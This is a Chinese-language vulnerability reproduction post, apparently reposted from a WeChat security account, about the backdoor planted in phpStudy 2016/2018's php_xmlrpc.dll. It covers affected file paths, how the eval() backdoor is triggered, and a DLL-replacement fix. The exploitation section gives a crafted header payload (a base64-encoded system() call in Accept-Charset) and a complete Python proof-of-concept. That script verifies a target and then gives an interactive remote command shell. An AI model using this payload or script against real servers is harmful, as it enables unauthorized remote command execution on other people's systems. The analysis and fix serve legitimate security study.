phpstudy_2016-2018_rce 漏洞复现

admin 2024年11月21日13:17:55评论19 views字数 2618阅读8分43秒阅读模式

漏洞描述

攻击者可以利用该漏洞执行PHP 命令,也可以称作 phpStudy 后门 。RCE(Remote Command|Code Execute)

Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin等多款软件一次性安装,无需配置即可直接安装使用,一键搭建。其中2016、2018版本的phpstudy存在被黑客恶意篡改后形成的RCE漏洞。该漏洞可以直接远程执行系统命令。

影响版本

phpStudy 2016和2018两个版本

后门代码存在于extphp_xmlrpc.dll模块中

  • phpStudy2016 查看

    • phpStudyphpphp-5.2.17extphp_xmlrpc.dll

    • phpStudyphpphp-5.4.45extphp_xmlrpc.dll

  • phpStudy2018查看

    • phpStudyPHPTutorialphpphp-5.4.45extphp_xmlrpc.dll

    • phpStudyPHPTutorialPHPPHP-5.2.17extphp_xmlrpc.dll

漏洞分析

网上某位大佬的

通过 IDA分析xmlrpc.dll发现,被植入危险函数eval()。

phpstudy_2016-2018_rce 漏洞复现

xmlrpc.dll中的初始化函数request_startup_func被篡改:当发起HTTP请求的数据包中包含“Accept-Encoding”字段时,就会进入黑客自定义的攻击流程。

phpstudy_2016-2018_rce 漏洞复现

当Accept-Encoding字段的信息为“compress,gzip”时,触发系统收集功能。

phpstudy_2016-2018_rce 漏洞复现

当Accept-Encoding字段的信息为“gzip,deflate”时,再进一步判断Accept-Charset字段,只有当Accept-Charset字段为一些特定字符时才会触发漏洞。

漏洞复现

环境搭建

安装phpstudy2016或者phpstudy2018,需要把PHP版本换成5.2.17或5.4.45版本

phpstudy_2016-2018_rce 漏洞复现

查看是否漏洞验证

  • phpStudy2016查看

    • phpStudyphpphp-5.2.17extphp_xmlrpc.dll

    • phpStudyphpphp-5.4.45extphp_xmlrpc.dll

  • phpStudy2018查看

    • phpStudyPHPTutorialphpphp-5.4.45extphp_xmlrpc.dll

    • phpStudyPHPTutorialPHPPHP-5.2.17extphp_xmlrpc.dll

打开你phpstudy对应的文件查找@eval,文件存在@eval(%s(‘%s’))证明漏洞存在

phpstudy_2016-2018_rce 漏洞复现

漏洞利用

code1:手工利用

使用burp抓包

添加请求头Accept-Charset值是想要执行的php代码system('whoami');代码需要进行base64编码

Accept-Charset: c3lzdGVtKCd3aG9hbWknKTs=

需要将Accept-Encoding: gzip, deflate修改为Accept-Encoding: gzip,deflate就是把中间的空格删掉(具体原因可以看上面大佬的漏洞分析)

phpstudy_2016-2018_rce 漏洞复现

重放请求包

phpstudy_2016-2018_rce 漏洞复现

code2:POC脚本

来源于GitHub

# phpStudy_2016-2018_RCE_POC.pyimport requestsimport base64import stringimport randomfrom time import sleep#向目标提交请求,漏洞触发。def rce(url,cmd):    cmd = base64.b64encode("system('{}');".format(cmd).encode()).decode()    headers = {            'Accept-Charset': cmd,#请求头中提交参数,触发漏洞。            'Accept-Encoding':'gzip,deflate',#请求头中提交参数,触发漏洞。            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284'    } #浏览器指纹    res = requests.get(url = url ,headers=headers)    print(res.status_code)    if res.status_code == 200:        #判断是否能与目标正常通信        bof = 0        eof = res.content.index(b"<!DOCTYPE html")  #将回复内容转化为二进制字符        k = (res.content[bof:eof].decode("gbk"))        return k    else:        exit("error url!")# 生成随机数与目标返回的字符对比,判断目标是否在线。def judge():    j = ''    for i in range(18):        j +=random.choice(string.digits + string.ascii_letters)    return j#初始化def main(url):    flag1 = judge()    cmd = "echo " + flag1    flag2 = rce(url, cmd)    if  flag1 in flag2 :       print("[+] Target is enable!")       while True:            cmd = input("[*] cmd >")            if cmd == "q" or cmd == "":                break            print(rce(url, cmd))    else:        print("[+] Target is not  enable! exit 3s later")        sleep(3)        exit()if __name__ == "__main__":    url = input("Enter an url :")    print("[+] Testing url:{}".format(url))    print('-----------------')    main(url)

phpstudy_2016-2018_rce 漏洞复现

修复建议

下载:phpxmlrpc.rar 解压 复制文件

  • phpphp-5.2.17extphp_xmlrpc.dll

  • phpphp-5.4.45extphp_xmlrpc.dll

覆盖原路径文件即可。

复现环境所需安装包以及工具公众回复phpstudy16+18获取

原文始发于微信公众号(网络安全学习爱好者):phpstudy_2016-2018_rce 漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日13:17:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   phpstudy_2016-2018_rce 漏洞复现https://cn-sec.com/archives/3400783.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息